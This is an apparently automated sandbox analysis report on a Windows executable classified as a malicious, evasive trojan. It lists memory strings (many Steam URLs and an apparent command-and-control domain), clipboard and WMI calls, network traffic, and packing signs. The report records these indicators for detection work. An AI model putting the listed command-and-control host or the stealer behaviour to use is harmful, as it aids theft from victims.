Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DW
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000361C000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000361C000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: aqbjn3fl.exe, 00000003.00000003.1591832404.00000000036DB000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=THDq-gsQ
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=0Xxx
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=kOc26QwM0vlX&l=e
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: aqbjn3fl.exe, 00000003.00000003.1592122314.00000000036CC000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1593458632.00000000036CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: aqbjn3fl.exe, 00000003.00000003.1592122314.00000000036CC000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1593458632.00000000036CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/2
Source: aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: aqbjn3fl.exe, 00000003.00000003.1592122314.00000000036CC000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1593458632.00000000036CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: aqbjn3fl.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: aqbjn3fl.exe, 00000003.00000003.1591832404.00000000036DB000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: aqbjn3fl.exe, 00000003.00000003.1591832404.00000000036DB000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: aqbjn3fl.exe, 00000003.00000003.1591832404.00000000036DB000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49711 version: TLS 1.2

Source: C:\Users\user\Desktop\aqbjn3fl.exe

Code function: 3_2_00433CD0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_00433CD0

Source: C:\Users\user\Desktop\aqbjn3fl.exe

Code function: 3_2_00433CD0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_00433CD0

Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009CD4C0	0_2_009CD4C0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009D4CF0	0_2_009D4CF0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009D6CF0	0_2_009D6CF0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009C4CE0	0_2_009C4CE0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009D6820	0_2_009D6820
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009C3460	0_2_009C3460
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009D7860	0_2_009D7860
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009D4190	0_2_009D4190
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009B5930	0_2_009B5930
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009C4930	0_2_009C4930
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009CDD20	0_2_009CDD20
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009D1D50	0_2_009D1D50
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009C8149	0_2_009C8149
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009BB964	0_2_009BB964
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009C5610	0_2_009C5610
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009E5E42	0_2_009E5E42
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009D1387	0_2_009D1387
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009C5F80	0_2_009C5F80
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009C9BA0	0_2_009C9BA0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009C3FA0	0_2_009C3FA0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009C2B07	0_2_009C2B07
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009C6350	0_2_009C6350
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009D7350	0_2_009D7350
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009C7F74	0_2_009C7F74
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009BA36B	0_2_009BA36B
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009CF360	0_2_009CF360
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0040B6E0	3_2_0040B6E0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0040CEF5	3_2_0040CEF5
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00439310	3_2_00439310
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00408F20	3_2_00408F20
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00404440	3_2_00404440
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00403060	3_2_00403060
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00424800	3_2_00424800
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00406C10	3_2_00406C10
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00402CC0	3_2_00402CC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00420CD0	3_2_00420CD0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_004418D0	3_2_004418D0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0041FC80	3_2_0041FC80
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00406090	3_2_00406090
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0041F090	3_2_0041F090
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_004070A0	3_2_004070A0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_004400A0	3_2_004400A0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0040DCB7	3_2_0040DCB7
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00409940	3_2_00409940
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00409150	3_2_00409150
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00406550	3_2_00406550
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0042F960	3_2_0042F960
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00438970	3_2_00438970
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00409DC0	3_2_00409DC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_004195D1	3_2_004195D1
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0040ADE0	3_2_0040ADE0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_004415B0	3_2_004415B0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00427E50	3_2_00427E50
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00403A60	3_2_00403A60
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00425A75	3_2_00425A75
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0040B220	3_2_0040B220
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0043FB70	3_2_0043FB70
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00424EE0	3_2_00424EE0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0041BAE6	3_2_0041BAE6
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0041B2F0	3_2_0041B2F0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00439AF0	3_2_00439AF0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0041CA80	3_2_0041CA80
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00420EA0	3_2_00420EA0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0041A6A3	3_2_0041A6A3
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_004412A0	3_2_004412A0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0041DF60	3_2_0041DF60
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0043BB70	3_2_0043BB70
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0043FB70	3_2_0043FB70
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0041F710	3_2_0041F710
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00438710	3_2_00438710
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0041AB3B	3_2_0041AB3B
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_004237C0	3_2_004237C0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0043FFD0	3_2_0043FFD0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00427BEB	3_2_00427BEB
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0042A3F0	3_2_0042A3F0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00441BF0	3_2_00441BF0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_0041C3FA	3_2_0041C3FA
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00404F8F	3_2_00404F8F
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00422BA0	3_2_00422BA0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_00407BB0	3_2_00407BB0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_004277BD	3_2_004277BD
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009CC0C0	3_2_009CC0C0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009B1000	3_2_009B1000
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009D6820	3_2_009D6820
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009D7860	3_2_009D7860
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009D4190	3_2_009D4190
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009BA180	3_2_009BA180
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009C01B0	3_2_009C01B0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009B5930	3_2_009B5930
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009C4930	3_2_009C4930
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009C2AC0	3_2_009C2AC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009C9BA0	3_2_009C9BA0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009C7BF0	3_2_009C7BF0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009C6350	3_2_009C6350
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009D7350	3_2_009D7350
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009CF360	3_2_009CF360
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009BCCC0	3_2_009BCCC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009CD4C0	3_2_009CD4C0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009D4CF0	3_2_009D4CF0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009D6CF0	3_2_009D6CF0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009C4CE0	3_2_009C4CE0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009C3460	3_2_009C3460
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009B5540	3_2_009B5540
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009CDE90	3_2_009CDE90
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009C5610	3_2_009C5610
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009E5E42	3_2_009E5E42
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009B3E60	3_2_009B3E60
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009C5F80	3_2_009C5F80
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009C3FA0	3_2_009C3FA0

Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: String function: 009D98B0 appears 63 times
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: String function: 009DCB18 appears 35 times

Source: aqbjn3fl.exe

Static PE information: invalid certificate

Source: aqbjn3fl.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: aqbjn3fl.exe

Static PE information: Section: .bOS ZLIB complexity 1.0003366361788617

Source: classification engine

Classification label: mal100.troj.evad.winEXE@4/0@11/2

Source: C:\Users\user\Desktop\aqbjn3fl.exe

Code function: 3_2_00439310 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_00439310

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5268:120:WilError_03

Source: aqbjn3fl.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\aqbjn3fl.exe

